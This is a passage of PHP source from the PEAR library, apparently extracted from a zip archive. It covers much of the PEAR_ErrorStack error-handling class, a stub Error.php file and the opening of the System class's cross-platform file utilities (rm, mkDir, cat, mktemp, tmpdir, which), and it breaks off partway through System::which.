    public static function setDefaultLogger(&$log)
    {
        if (is_object($log) && method_exists($log, 'log') ) {
            $GLOBALS['_PEAR_ERRORSTACK_DEFAULT_LOGGER'] = &$log;
        } elseif (is_callable($log)) {
            $GLOBALS['_PEAR_ERRORSTACK_DEFAULT_LOGGER'] = &$log;
        }
    }
    
    /**
     * Set up a PEAR::Log object for this error stack
     * @param Log $log 
     */
    function setLogger(&$log)
    {
        if (is_object($log) && method_exists($log, 'log') ) {
            $this->_logger = &$log;
        } elseif (is_callable($log)) {
            $this->_logger = &$log;
        }
    }
    
    /**
     * Set an error code => error message mapping callback
     * 
     * This method sets the callback that can be used to generate error
     * messages for any instance
     * @param array|string Callback function/method
     */
    function setMessageCallback($msgCallback)
    {
        if (!$msgCallback) {
            $this->_msgCallback = array(&$this, 'getErrorMessage');
        } else {
            if (is_callable($msgCallback)) {
                $this->_msgCallback = $msgCallback;
            }
        }
    }
    
    /**
     * Get an error code => error message mapping callback
     * 
     * This method returns the current callback that can be used to generate error
     * messages
     * @return array|string|false Callback function/method or false if none
     */
    function getMessageCallback()
    {
        return $this->_msgCallback;
    }
    
    /**
     * Sets a default callback to be used by all error stacks
     * 
     * This method sets the callback that can be used to generate error
     * messages for a singleton
     * @param array|string Callback function/method
     * @param string Package name, or false for all packages
     */
    public static function setDefaultCallback($callback = false, $package = false)
    {
        if (!is_callable($callback)) {
            $callback = false;
        }
        $package = $package ? $package : '*';
        $GLOBALS['_PEAR_ERRORSTACK_DEFAULT_CALLBACK'][$package] = $callback;
    }
    
    /**
     * Set a callback that generates context information (location of error) for an error stack
     * 
     * This method sets the callback that can be used to generate context
     * information for an error.  Passing in NULL will disable context generation
     * and remove the expensive call to debug_backtrace()
     * @param array|string|null Callback function/method
     */
    function setContextCallback($contextCallback)
    {
        if ($contextCallback === null) {
            return $this->_contextCallback = false;
        }
        if (!$contextCallback) {
            $this->_contextCallback = array(&$this, 'getFileLine');
        } else {
            if (is_callable($contextCallback)) {
                $this->_contextCallback = $contextCallback;
            }
        }
    }
    
    /**
     * Set an error Callback
     * If set to a valid callback, this will be called every time an error
     * is pushed onto the stack.  The return value will be used to determine
     * whether to allow an error to be pushed or logged.
     * 
     * The return value must be one of the ERRORSTACK_* constants.
     * 
     * This functionality can be used to emulate PEAR's pushErrorHandling, and
     * the PEAR_ERROR_CALLBACK mode, without affecting the integrity of
     * the error stack or logging
     * @see PEAR_ERRORSTACK_PUSHANDLOG, PEAR_ERRORSTACK_PUSH, PEAR_ERRORSTACK_LOG
     * @see popCallback()
     * @param string|array $cb
     */
    function pushCallback($cb)
    {
        array_push($this->_errorCallback, $cb);
    }
    
    /**
     * Remove a callback from the error callback stack
     * @see pushCallback()
     * @return array|string|false
     */
    function popCallback()
    {
        if (!count($this->_errorCallback)) {
            return false;
        }
        return array_pop($this->_errorCallback);
    }
    
    /**
     * Set a temporary overriding error callback for every package error stack
     *
     * Use this to temporarily disable all existing callbacks (can be used
     * to emulate the @ operator, for instance)
     * @see PEAR_ERRORSTACK_PUSHANDLOG, PEAR_ERRORSTACK_PUSH, PEAR_ERRORSTACK_LOG
     * @see staticPopCallback(), pushCallback()
     * @param string|array $cb
     */
    public static function staticPushCallback($cb)
    {
        array_push($GLOBALS['_PEAR_ERRORSTACK_OVERRIDE_CALLBACK'], $cb);
    }
    
    /**
     * Remove a temporary overriding error callback
     * @see staticPushCallback()
     * @return array|string|false
     */
    public static function staticPopCallback()
    {
        $ret = array_pop($GLOBALS['_PEAR_ERRORSTACK_OVERRIDE_CALLBACK']);
        if (!is_array($GLOBALS['_PEAR_ERRORSTACK_OVERRIDE_CALLBACK'])) {
            $GLOBALS['_PEAR_ERRORSTACK_OVERRIDE_CALLBACK'] = array();
        }
        return $ret;
    }
    
    /**
     * Add an error to the stack
     * 
     * If the message generator exists, it is called with 2 parameters.
     *  - the current Error Stack object
     *  - an array that is in the same format as an error.  Available indices
     *    are 'code', 'package', 'time', 'params', 'level', and 'context'
     * 
     * Next, if the error should contain context information, this is
     * handled by the context grabbing method.
     * Finally, the error is pushed onto the proper error stack
     * @param int    $code      Package-specific error code
     * @param string $level     Error level.  This is NOT spell-checked
     * @param array  $params    associative array of error parameters
     * @param string $msg       Error message, or a portion of it if the message
     *                          is to be generated
     * @param array  $repackage If this error re-packages an error pushed by
     *                          another package, place the array returned from
     *                          {@link pop()} in this parameter
     * @param array  $backtrace Protected parameter: use this to pass in the
     *                          {@link debug_backtrace()} that should be used
     *                          to find error context
     * @return PEAR_Error|array if compatibility mode is on, a PEAR_Error is also
     * thrown.  If a PEAR_Error is returned, the userinfo
     * property is set to the following array:
     * 
     * <code>
     * array(
     *    'code' => $code,
     *    'params' => $params,
     *    'package' => $this->_package,
     *    'level' => $level,
     *    'time' => time(),
     *    'context' => $context,
     *    'message' => $msg,
     * //['repackage' => $err] repackaged error array/Exception class
     * );
     * </code>
     * 
     * Normally, the previous array is returned.
     */
    function push($code, $level = 'error', $params = array(), $msg = false,
                  $repackage = false, $backtrace = false)
    {
        $context = false;
        // grab error context
        if ($this->_contextCallback) {
            if (!$backtrace) {
                $backtrace = debug_backtrace();
            }
            $context = call_user_func($this->_contextCallback, $code, $params, $backtrace);
        }
        
        // save error
        $time = explode(' ', microtime());
        $time = $time[1] + $time[0];
        $err = array(
                'code' => $code,
                'params' => $params,
                'package' => $this->_package,
                'level' => $level,
                'time' => $time,
                'context' => $context,
                'message' => $msg,
               );

        if ($repackage) {
            $err['repackage'] = $repackage;
        }

        // set up the error message, if necessary
        if ($this->_msgCallback) {
            $msg = call_user_func_array($this->_msgCallback,
                                        array(&$this, $err));
            $err['message'] = $msg;
        }        
        $push = $log = true;
        $die = false;
        // try the overriding callback first
        $callback = $this->staticPopCallback();
        if ($callback) {
            $this->staticPushCallback($callback);
        }
        if (!is_callable($callback)) {
            // try the local callback next
            $callback = $this->popCallback();
            if (is_callable($callback)) {
                $this->pushCallback($callback);
            } else {
                // try the default callback
                $callback = isset($GLOBALS['_PEAR_ERRORSTACK_DEFAULT_CALLBACK'][$this->_package]) ?
                    $GLOBALS['_PEAR_ERRORSTACK_DEFAULT_CALLBACK'][$this->_package] :
                    $GLOBALS['_PEAR_ERRORSTACK_DEFAULT_CALLBACK']['*'];
            }
        }
        if (is_callable($callback)) {
            switch(call_user_func($callback, $err)){
            	case PEAR_ERRORSTACK_IGNORE: 
            		return $err;
        		break;
            	case PEAR_ERRORSTACK_PUSH: 
            		$log = false;
        		break;
            	case PEAR_ERRORSTACK_LOG: 
            		$push = false;
        		break;
            	case PEAR_ERRORSTACK_DIE: 
            		$die = true;
        		break;
                // anything else returned has the same effect as pushandlog
            }
        }
        if ($push) {
            array_unshift($this->_errors, $err);
            if (!isset($this->_errorsByLevel[$err['level']])) {
                $this->_errorsByLevel[$err['level']] = array();
            }
            $this->_errorsByLevel[$err['level']][] = &$this->_errors[0];
        }
        if ($log) {
            if ($this->_logger || $GLOBALS['_PEAR_ERRORSTACK_DEFAULT_LOGGER']) {
                $this->_log($err);
            }
        }
        if ($die) {
            die();
        }
        if ($this->_compat && $push) {
            return $this->raiseError($msg, $code, null, null, $err);
        }
        return $err;
    }
    
    /**
     * Static version of {@link push()}
     * 
     * @param string $package   Package name this error belongs to
     * @param int    $code      Package-specific error code
     * @param string $level     Error level.  This is NOT spell-checked
     * @param array  $params    associative array of error parameters
     * @param string $msg       Error message, or a portion of it if the message
     *                          is to be generated
     * @param array  $repackage If this error re-packages an error pushed by
     *                          another package, place the array returned from
     *                          {@link pop()} in this parameter
     * @param array  $backtrace Protected parameter: use this to pass in the
     *                          {@link debug_backtrace()} that should be used
     *                          to find error context
     * @return PEAR_Error|array if compatibility mode is on, a PEAR_Error is also
     *                          thrown.  see docs for {@link push()}
     */
    public static function staticPush(
        $package, $code, $level = 'error', $params = array(),
        $msg = false, $repackage = false, $backtrace = false
    ) {
        $s = &PEAR_ErrorStack::singleton($package);
        if ($s->_contextCallback) {
            if (!$backtrace) {
                if (function_exists('debug_backtrace')) {
                    $backtrace = debug_backtrace();
                }
            }
        }
        return $s->push($code, $level, $params, $msg, $repackage, $backtrace);
    }
    
    /**
     * Log an error using PEAR::Log
     * @param array $err Error array
     * @param array $levels Error level => Log constant map
     * @access protected
     */
    function _log($err)
    {
        if ($this->_logger) {
            $logger = &$this->_logger;
        } else {
            $logger = &$GLOBALS['_PEAR_ERRORSTACK_DEFAULT_LOGGER'];
        }
        if (is_a($logger, 'Log')) {
            $levels = array(
                'exception' => PEAR_LOG_CRIT,
                'alert' => PEAR_LOG_ALERT,
                'critical' => PEAR_LOG_CRIT,
                'error' => PEAR_LOG_ERR,
                'warning' => PEAR_LOG_WARNING,
                'notice' => PEAR_LOG_NOTICE,
                'info' => PEAR_LOG_INFO,
                'debug' => PEAR_LOG_DEBUG);
            if (isset($levels[$err['level']])) {
                $level = $levels[$err['level']];
            } else {
                $level = PEAR_LOG_INFO;
            }
            $logger->log($err['message'], $level, $err);
        } else { // support non-standard logs
            call_user_func($logger, $err);
        }
    }

    
    /**
     * Pop an error off of the error stack
     * 
     * @return false|array
     * @since 0.4alpha it is no longer possible to specify a specific error
     * level to return - the last error pushed will be returned, instead
     */
    function pop()
    {
        $err = @array_shift($this->_errors);
        if (!is_null($err)) {
            @array_pop($this->_errorsByLevel[$err['level']]);
            if (!count($this->_errorsByLevel[$err['level']])) {
                unset($this->_errorsByLevel[$err['level']]);
            }
        }
        return $err;
    }

    /**
     * Pop an error off of the error stack, static method
     *
     * @param string package name
     * @return boolean
     * @since PEAR1.5.0a1
     */
    static function staticPop($package)
    {
        if ($package) {
            if (!isset($GLOBALS['_PEAR_ERRORSTACK_SINGLETON'][$package])) {
                return false;
            }
            return $GLOBALS['_PEAR_ERRORSTACK_SINGLETON'][$package]->pop();
        }
    }

    /**
     * Determine whether there are any errors on the stack
     * @param string|array Level name.  Use to determine if any errors
     * of level (string), or levels (array) have been pushed
     * @return boolean
     */
    function hasErrors($level = false)
    {
        if ($level) {
            return isset($this->_errorsByLevel[$level]);
        }
        return count($this->_errors);
    }
    
    /**
     * Retrieve all errors since last purge
     * 
     * @param boolean set in order to empty the error stack
     * @param string level name, to return only errors of a particular severity
     * @return array
     */
    function getErrors($purge = false, $level = false)
    {
        if (!$purge) {
            if ($level) {
                if (!isset($this->_errorsByLevel[$level])) {
                    return array();
                } else {
                    return $this->_errorsByLevel[$level];
                }
            } else {
                return $this->_errors;
            }
        }
        if ($level) {
            $ret = $this->_errorsByLevel[$level];
            foreach ($this->_errorsByLevel[$level] as $i => $unused) {
                // entries are references to the $_errors array
                $this->_errorsByLevel[$level][$i] = false;
            }
            // array_filter removes all entries === false
            $this->_errors = array_filter($this->_errors);
            unset($this->_errorsByLevel[$level]);
            return $ret;
        }
        $ret = $this->_errors;
        $this->_errors = array();
        $this->_errorsByLevel = array();
        return $ret;
    }
    
    /**
     * Determine whether there are any errors on a single error stack, or on any error stack
     *
     * The optional parameter can be used to test the existence of any errors without the need of
     * singleton instantiation
     * @param string|false Package name to check for errors
     * @param string Level name to check for a particular severity
     * @return boolean
     */
    public static function staticHasErrors($package = false, $level = false)
    {
        if ($package) {
            if (!isset($GLOBALS['_PEAR_ERRORSTACK_SINGLETON'][$package])) {
                return false;
            }
            return $GLOBALS['_PEAR_ERRORSTACK_SINGLETON'][$package]->hasErrors($level);
        }
        foreach ($GLOBALS['_PEAR_ERRORSTACK_SINGLETON'] as $package => $obj) {
            if ($obj->hasErrors($level)) {
                return true;
            }
        }
        return false;
    }
    
    /**
     * Get a list of all errors since last purge, organized by package
     * @since PEAR 1.4.0dev BC break! $level is now in the place $merge used to be
     * @param boolean $purge Set to purge the error stack of existing errors
     * @param string  $level Set to a level name in order to retrieve only errors of a particular level
     * @param boolean $merge Set to return a flat array, not organized by package
     * @param array   $sortfunc Function used to sort a merged array - default
     *        sorts by time, and should be good for most cases
     *
     * @return array 
     */
    public static function staticGetErrors(
        $purge = false, $level = false, $merge = false,
        $sortfunc = array('PEAR_ErrorStack', '_sortErrors')
    ) {
        $ret = array();
        if (!is_callable($sortfunc)) {
            $sortfunc = array('PEAR_ErrorStack', '_sortErrors');
        }
        foreach ($GLOBALS['_PEAR_ERRORSTACK_SINGLETON'] as $package => $obj) {
            $test = $GLOBALS['_PEAR_ERRORSTACK_SINGLETON'][$package]->getErrors($purge, $level);
            if ($test) {
                if ($merge) {
                    $ret = array_merge($ret, $test);
                } else {
                    $ret[$package] = $test;
                }
            }
        }
        if ($merge) {
            usort($ret, $sortfunc);
        }
        return $ret;
    }
    
    /**
     * Error sorting function, sorts by time
     * @access private
     */
    public static function _sortErrors($a, $b)
    {
        if ($a['time'] == $b['time']) {
            return 0;
        }
        if ($a['time'] < $b['time']) {
            return 1;
        }
        return -1;
    }

    /**
     * Standard file/line number/function/class context callback
     *
     * This function uses a backtrace generated from {@link debug_backtrace()}
     * and so will not work at all in PHP < 4.3.0.  The frame should
     * reference the frame that contains the source of the error.
     * @return array|false either array('file' => file, 'line' => line,
     *         'function' => function name, 'class' => class name) or
     *         if this doesn't work, then false
     * @param unused
     * @param integer backtrace frame.
     * @param array Results of debug_backtrace()
     */
    public static function getFileLine($code, $params, $backtrace = null)
    {
        if ($backtrace === null) {
            return false;
        }
        $frame = 0;
        $functionframe = 1;
        if (!isset($backtrace[1])) {
            $functionframe = 0;
        } else {
            while (isset($backtrace[$functionframe]['function']) &&
                  $backtrace[$functionframe]['function'] == 'eval' &&
                  isset($backtrace[$functionframe + 1])) {
                $functionframe++;
            }
        }
        if (isset($backtrace[$frame])) {
            if (!isset($backtrace[$frame]['file'])) {
                $frame++;
            }
            $funcbacktrace = $backtrace[$functionframe];
            $filebacktrace = $backtrace[$frame];
            $ret = array('file' => $filebacktrace['file'],
                         'line' => $filebacktrace['line']);
            // rearrange for eval'd code or create function errors
            if (strpos($filebacktrace['file'], '(') && 
            	  preg_match(';^(.*?)\((\d+)\) : (.*?)\\z;', $filebacktrace['file'],
                  $matches)) {
                $ret['file'] = $matches[1];
                $ret['line'] = $matches[2] + 0;
            }
            if (isset($funcbacktrace['function']) && isset($backtrace[1])) {
                if ($funcbacktrace['function'] != 'eval') {
                    if ($funcbacktrace['function'] == '__lambda_func') {
                        $ret['function'] = 'create_function() code';
                    } else {
                        $ret['function'] = $funcbacktrace['function'];
                    }
                }
            }
            if (isset($funcbacktrace['class']) && isset($backtrace[1])) {
                $ret['class'] = $funcbacktrace['class'];
            }
            return $ret;
        }
        return false;
    }
    
    /**
     * Standard error message generation callback
     * 
     * This method may also be called by a custom error message generator
     * to fill in template values from the params array, simply
     * set the third parameter to the error message template string to use
     * 
     * The special variable %__msg% is reserved: use it only to specify
     * where a message passed in by the user should be placed in the template,
     * like so:
     * 
     * Error message: %msg% - internal error
     * 
     * If the message passed like so:
     * 
     * <code>
     * $stack->push(ERROR_CODE, 'error', array(), 'server error 500');
     * </code>
     * 
     * The returned error message will be "Error message: server error 500 -
     * internal error"
     * @param PEAR_ErrorStack
     * @param array
     * @param string|false Pre-generated error message template
     *
     * @return string
     */
    public static function getErrorMessage(&$stack, $err, $template = false)
    {
        if ($template) {
            $mainmsg = $template;
        } else {
            $mainmsg = $stack->getErrorMessageTemplate($err['code']);
        }
        $mainmsg = str_replace('%__msg%', $err['message'], $mainmsg);
        if (is_array($err['params']) && count($err['params'])) {
            foreach ($err['params'] as $name => $val) {
                if (is_array($val)) {
                    // @ is needed in case $val is a multi-dimensional array
                    $val = @implode(', ', $val);
                }
                if (is_object($val)) {
                    if (method_exists($val, '__toString')) {
                        $val = $val->__toString();
                    } else {
                        PEAR_ErrorStack::staticPush('PEAR_ErrorStack', PEAR_ERRORSTACK_ERR_OBJTOSTRING,
                            'warning', array('obj' => get_class($val)),
                            'object %obj% passed into getErrorMessage, but has no __toString() method');
                        $val = 'Object';
                    }
                }
                $mainmsg = str_replace('%' . $name . '%', $val, $mainmsg);
            }
        }
        return $mainmsg;
    }
    
    /**
     * Standard Error Message Template generator from code
     * @return string
     */
    function getErrorMessageTemplate($code)
    {
        if (!isset($this->_errorMsgs[$code])) {
            return '%__msg%';
        }
        return $this->_errorMsgs[$code];
    }
    
    /**
     * Set the Error Message Template array
     * 
     * The array format must be:
     * <pre>
     * array(error code => 'message template',...)
     * </pre>
     * 
     * Error message parameters passed into {@link push()} will be used as input
     * for the error message.  If the template is 'message %foo% was %bar%', and the
     * parameters are array('foo' => 'one', 'bar' => 'six'), the error message returned will
     * be 'message one was six'
     * @return string
     */
    function setErrorMessageTemplate($template)
    {
        $this->_errorMsgs = $template;
    }
    
    
    /**
     * emulate PEAR::raiseError()
     * 
     * @return PEAR_Error
     */
    function raiseError()
    {
        require_once 'PEAR.php';
        $args = func_get_args();
        return call_user_func_array(array('PEAR', 'raiseError'), $args);
    }
}
$stack = &PEAR_ErrorStack::singleton('PEAR_ErrorStack');
$stack->pushCallback(array('PEAR_ErrorStack', '_handleError'));
?>
PK
h�\�;_�CC0vendor/pear/pear-core-minimal/src/PEAR/Error.phpnu�[���<?php
/**
 * Dummy file to make autoloaders work
 *
 * PHP version 5
 *
 * @category PEAR
 * @package  PEAR
 * @author   Christian Weiske <cweiske@php.net>
 * @license  http://opensource.org/licenses/bsd-license.php New BSD License
 * @link     http://pear.php.net/package/PEAR
 */
require_once __DIR__ . '/../PEAR.php';
?>PK
h�\m��*�P�P,vendor/pear/pear-core-minimal/src/System.phpnu�[���<?php
/**
 * File/Directory manipulation
 *
 * PHP versions 4 and 5
 *
 * @category   pear
 * @package    System
 * @author     Tomas V.V.Cox <cox@idecnet.com>
 * @copyright  1997-2009 The Authors
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @link       http://pear.php.net/package/PEAR
 * @since      File available since Release 0.1
 */

/**
 * base class
 */
require_once 'PEAR.php';
require_once 'Console/Getopt.php';

$GLOBALS['_System_temp_files'] = array();

/**
* System offers cross platform compatible system functions
*
* Static functions for different operations. Should work under
* Unix and Windows. The names and usage has been taken from its respectively
* GNU commands. The functions will return (bool) false on error and will
* trigger the error with the PHP trigger_error() function (you can silence
* the error by prefixing a '@' sign after the function call, but this
* is not recommended practice.  Instead use an error handler with
* {@link set_error_handler()}).
*
* Documentation on this class you can find in:
* http://pear.php.net/manual/
*
* Example usage:
* if (!@System::rm('-r file1 dir1')) {
*    print "could not delete file1 or dir1";
* }
*
* In case you need to to pass file names with spaces,
* pass the params as an array:
*
* System::rm(array('-r', $file1, $dir1));
*
* @category   pear
* @package    System
* @author     Tomas V.V. Cox <cox@idecnet.com>
* @copyright  1997-2006 The PHP Group
* @license    http://opensource.org/licenses/bsd-license.php New BSD License
* @version    Release: @package_version@
* @link       http://pear.php.net/package/PEAR
* @since      Class available since Release 0.1
* @static
*/
class System
{
    /**
     * returns the commandline arguments of a function
     *
     * @param    string  $argv           the commandline
     * @param    string  $short_options  the allowed option short-tags
     * @param    string  $long_options   the allowed option long-tags
     * @return   array   the given options and there values
     */
    public static function _parseArgs($argv, $short_options, $long_options = null)
    {
        if (!is_array($argv) && $argv !== null) {
            /*
            // Quote all items that are a short option
            $av = preg_split('/(\A| )--?[a-z0-9]+[ =]?((?<!\\\\)((,\s*)|((?<!,)\s+))?)/i', $argv, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_OFFSET_CAPTURE);
            $offset = 0;
            foreach ($av as $a) {
                $b = trim($a[0]);
                if ($b[0] == '"' || $b[0] == "'") {
                    continue;
                }

                $escape = escapeshellarg($b);
                $pos = $a[1] + $offset;
                $argv = substr_replace($argv, $escape, $pos, strlen($b));
                $offset += 2;
            }
            */

            // Find all items, quoted or otherwise
            preg_match_all("/(?:[\"'])(.*?)(?:['\"])|([^\s]+)/", $argv, $av);
            $argv = $av[1];
            foreach ($av[2] as $k => $a) {
                if (empty($a)) {
                    continue;
                }
                $argv[$k] = trim($a) ;
            }
        }

        return Console_Getopt::getopt2($argv, $short_options, $long_options);
    }

    /**
     * Output errors with PHP trigger_error(). You can silence the errors
     * with prefixing a "@" sign to the function call: @System::mkdir(..);
     *
     * @param mixed $error a PEAR error or a string with the error message
     * @return bool false
     */
    protected static function raiseError($error)
    {
        if (PEAR::isError($error)) {
            $error = $error->getMessage();
        }
        trigger_error($error, E_USER_WARNING);
        return false;
    }

    /**
     * Creates a nested array representing the structure of a directory
     *
     * System::_dirToStruct('dir1', 0) =>
     *   Array
     *    (
     *    [dirs] => Array
     *        (
     *            [0] => dir1
     *        )
     *
     *    [files] => Array
     *        (
     *            [0] => dir1/file2
     *            [1] => dir1/file3
     *        )
     *    )
     * @param    string  $sPath      Name of the directory
     * @param    integer $maxinst    max. deep of the lookup
     * @param    integer $aktinst    starting deep of the lookup
     * @param    bool    $silent     if true, do not emit errors.
     * @return   array   the structure of the dir
     */
    protected static function _dirToStruct($sPath, $maxinst, $aktinst = 0, $silent = false)
    {
        $struct = array('dirs' => array(), 'files' => array());
        if (($dir = @opendir($sPath)) === false) {
            if (!$silent) {
                System::raiseError("Could not open dir $sPath");
            }
            return $struct; // XXX could not open error
        }

        $struct['dirs'][] = $sPath = realpath($sPath); // XXX don't add if '.' or '..' ?
        $list = array();
        while (false !== ($file = readdir($dir))) {
            if ($file != '.' && $file != '..') {
                $list[] = $file;
            }
        }

        closedir($dir);
        natsort($list);
        if ($aktinst < $maxinst || $maxinst == 0) {
            foreach ($list as $val) {
                $path = $sPath . DIRECTORY_SEPARATOR . $val;
                if (is_dir($path) && !is_link($path)) {
                    $tmp    = System::_dirToStruct($path, $maxinst, $aktinst+1, $silent);
                    $struct = array_merge_recursive($struct, $tmp);
                } else {
                    $struct['files'][] = $path;
                }
            }
        }

        return $struct;
    }

    /**
     * Creates a nested array representing the structure of a directory and files
     *
     * @param    array $files Array listing files and dirs
     * @return   array
     * @static
     * @see System::_dirToStruct()
     */
    protected static function _multipleToStruct($files)
    {
        $struct = array('dirs' => array(), 'files' => array());
        settype($files, 'array');
        foreach ($files as $file) {
            if (is_dir($file) && !is_link($file)) {
                $tmp    = System::_dirToStruct($file, 0);
                $struct = array_merge_recursive($tmp, $struct);
            } else {
                if (!in_array($file, $struct['files'])) {
                    $struct['files'][] = $file;
                }
            }
        }
        return $struct;
    }

    /**
     * The rm command for removing files.
     * Supports multiple files and dirs and also recursive deletes
     *
     * @param    string  $args   the arguments for rm
     * @return   mixed   PEAR_Error or true for success
     * @static
     * @access   public
     */
    public static function rm($args)
    {
        $opts = System::_parseArgs($args, 'rf'); // "f" does nothing but I like it :-)
        if (PEAR::isError($opts)) {
            return System::raiseError($opts);
        }
        foreach ($opts[0] as $opt) {
            if ($opt[0] == 'r') {
                $do_recursive = true;
            }
        }
        $ret = true;
        if (isset($do_recursive)) {
            $struct = System::_multipleToStruct($opts[1]);
            foreach ($struct['files'] as $file) {
                if (!@unlink($file)) {
                    $ret = false;
                }
            }

            rsort($struct['dirs']);
            foreach ($struct['dirs'] as $dir) {
                if (!@rmdir($dir)) {
                    $ret = false;
                }
            }
        } else {
            foreach ($opts[1] as $file) {
                $delete = (is_dir($file)) ? 'rmdir' : 'unlink';
                if (!@$delete($file)) {
                    $ret = false;
                }
            }
        }
        return $ret;
    }

    /**
     * Make directories.
     *
     * The -p option will create parent directories
     * @param    string  $args    the name of the director(y|ies) to create
     * @return   bool    True for success
     */
    public static function mkDir($args)
    {
        $opts = System::_parseArgs($args, 'pm:');
        if (PEAR::isError($opts)) {
            return System::raiseError($opts);
        }

        $mode = 0777; // default mode
        foreach ($opts[0] as $opt) {
            if ($opt[0] == 'p') {
                $create_parents = true;
            } elseif ($opt[0] == 'm') {
                // if the mode is clearly an octal number (starts with 0)
                // convert it to decimal
                if (strlen($opt[1]) && $opt[1][0] == '0') {
                    $opt[1] = octdec($opt[1]);
                } else {
                    // convert to int
                    $opt[1] += 0;
                }
                $mode = $opt[1];
            }
        }

        $ret = true;
        if (isset($create_parents)) {
            foreach ($opts[1] as $dir) {
                $dirstack = array();
                while ((!file_exists($dir) || !is_dir($dir)) &&
                        $dir != DIRECTORY_SEPARATOR) {
                    array_unshift($dirstack, $dir);
                    $dir = dirname($dir);
                }

                while ($newdir = array_shift($dirstack)) {
                    if (!is_writeable(dirname($newdir))) {
                        $ret = false;
                        break;
                    }

                    if (!mkdir($newdir, $mode)) {
                        $ret = false;
                    }
                }
            }
        } else {
            foreach($opts[1] as $dir) {
                if ((@file_exists($dir) || !is_dir($dir)) && !mkdir($dir, $mode)) {
                    $ret = false;
                }
            }
        }

        return $ret;
    }

    /**
     * Concatenate files
     *
     * Usage:
     * 1) $var = System::cat('sample.txt test.txt');
     * 2) System::cat('sample.txt test.txt > final.txt');
     * 3) System::cat('sample.txt test.txt >> final.txt');
     *
     * Note: as the class use fopen, urls should work also
     *
     * @param    string  $args   the arguments
     * @return   boolean true on success
     */
    public static function &cat($args)
    {
        $ret = null;
        $files = array();
        if (!is_array($args)) {
            $args = preg_split('/\s+/', $args, -1, PREG_SPLIT_NO_EMPTY);
        }

        $count_args = count($args);
        for ($i = 0; $i < $count_args; $i++) {
            if ($args[$i] == '>') {
                $mode = 'wb';
                $outputfile = $args[$i+1];
                break;
            } elseif ($args[$i] == '>>') {
                $mode = 'ab+';
                $outputfile = $args[$i+1];
                break;
            } else {
                $files[] = $args[$i];
            }
        }
        $outputfd = false;
        if (isset($mode)) {
            if (!$outputfd = fopen($outputfile, $mode)) {
                $err = System::raiseError("Could not open $outputfile");
                return $err;
            }
            $ret = true;
        }
        foreach ($files as $file) {
            if (!$fd = fopen($file, 'r')) {
                System::raiseError("Could not open $file");
                continue;
            }
            while ($cont = fread($fd, 2048)) {
                if (is_resource($outputfd)) {
                    fwrite($outputfd, $cont);
                } else {
                    $ret .= $cont;
                }
            }
            fclose($fd);
        }
        if (is_resource($outputfd)) {
            fclose($outputfd);
        }
        return $ret;
    }

    /**
     * Creates temporary files or directories. This function will remove
     * the created files when the scripts finish its execution.
     *
     * Usage:
     *   1) $tempfile = System::mktemp("prefix");
     *   2) $tempdir  = System::mktemp("-d prefix");
     *   3) $tempfile = System::mktemp();
     *   4) $tempfile = System::mktemp("-t /var/tmp prefix");
     *
     * prefix -> The string that will be prepended to the temp name
     *           (defaults to "tmp").
     * -d     -> A temporary dir will be created instead of a file.
     * -t     -> The target dir where the temporary (file|dir) will be created. If
     *           this param is missing by default the env vars TMP on Windows or
     *           TMPDIR in Unix will be used. If these vars are also missing
     *           c:\windows\temp or /tmp will be used.
     *
     * @param   string  $args  The arguments
     * @return  mixed   the full path of the created (file|dir) or false
     * @see System::tmpdir()
     */
    public static function mktemp($args = null)
    {
        static $first_time = true;
        $opts = System::_parseArgs($args, 't:d');
        if (PEAR::isError($opts)) {
            return System::raiseError($opts);
        }

        foreach ($opts[0] as $opt) {
            if ($opt[0] == 'd') {
                $tmp_is_dir = true;
            } elseif ($opt[0] == 't') {
                $tmpdir = $opt[1];
            }
        }

        $prefix = (isset($opts[1][0])) ? $opts[1][0] : 'tmp';
        if (!isset($tmpdir)) {
            $tmpdir = System::tmpdir();
        }

        if (!System::mkDir(array('-p', $tmpdir))) {
            return false;
        }

        $tmp = tempnam($tmpdir, $prefix);
        if (isset($tmp_is_dir)) {
            unlink($tmp); // be careful possible race condition here
            if (!mkdir($tmp, 0700)) {
                return System::raiseError("Unable to create temporary directory $tmpdir");
            }
        }

        $GLOBALS['_System_temp_files'][] = $tmp;
        if (isset($tmp_is_dir)) {
            //$GLOBALS['_System_temp_files'][] = dirname($tmp);
        }

        if ($first_time) {
            PEAR::registerShutdownFunc(array('System', '_removeTmpFiles'));
            $first_time = false;
        }

        return $tmp;
    }

    /**
     * Remove temporary files created my mkTemp. This function is executed
     * at script shutdown time
     */
    public static function _removeTmpFiles()
    {
        if (count($GLOBALS['_System_temp_files'])) {
            $delete = $GLOBALS['_System_temp_files'];
            array_unshift($delete, '-r');
            System::rm($delete);
            $GLOBALS['_System_temp_files'] = array();
        }
    }

    /**
     * Get the path of the temporal directory set in the system
     * by looking in its environments variables.
     * Note: php.ini-recommended removes the "E" from the variables_order setting,
     * making unavaible the $_ENV array, that s why we do tests with _ENV
     *
     * @return string The temporary directory on the system
     */
    public static function tmpdir()
    {
        if (OS_WINDOWS) {
            if ($var = isset($_ENV['TMP']) ? $_ENV['TMP'] : getenv('TMP')) {
                return $var;
            }
            if ($var = isset($_ENV['TEMP']) ? $_ENV['TEMP'] : getenv('TEMP')) {
                return $var;
            }
            if ($var = isset($_ENV['USERPROFILE']) ? $_ENV['USERPROFILE'] : getenv('USERPROFILE')) {
                return $var;
            }
            if ($var = isset($_ENV['windir']) ? $_ENV['windir'] : getenv('windir')) {
                return $var;
            }
            return getenv('SystemRoot') . '\temp';
        }
        if ($var = isset($_ENV['TMPDIR']) ? $_ENV['TMPDIR'] : getenv('TMPDIR')) {
            return $var;
        }
        return realpath(function_exists('sys_get_temp_dir') ? sys_get_temp_dir() : '/tmp');
    }

    /**
     * The "which" command (show the full path of a command)
     *
     * @param string $program The command to search for
     * @param mixed  $fallback Value to return if $program is not found
     *
     * @return mixed A string with the full path or false if not found
     * @author Stig Bakken <ssb@php.net>
     */
    public static function which($program, $fallback = false)
    {
        // enforce API
        if (!is_string($program) || '' == $program) {
            return $fallback;
        }

        // full path given
        if (basename($program) != $program) {
            $path_elements[] = dirname($program);
            $program = basename($program);
        } else {
            $path = getenv('PATH');
            if (!$path) {
                $path = getenv('Path'); // some OSes are just stupid enough to do this
            }

            $path_elements = explode(PATH_SEPARATOR, $path);
        }

        if (OS_WINDOWS) {
            $exe_suffixes = getenv('PATHEXT')
                                ? explode(PATH_SEPARATOR, getenv('PATHEXT'))
                                : array('.exe','.bat','.cmd','.com');
            // allow passing a command.exe param
            if (strpos($program, '.') !== false) {
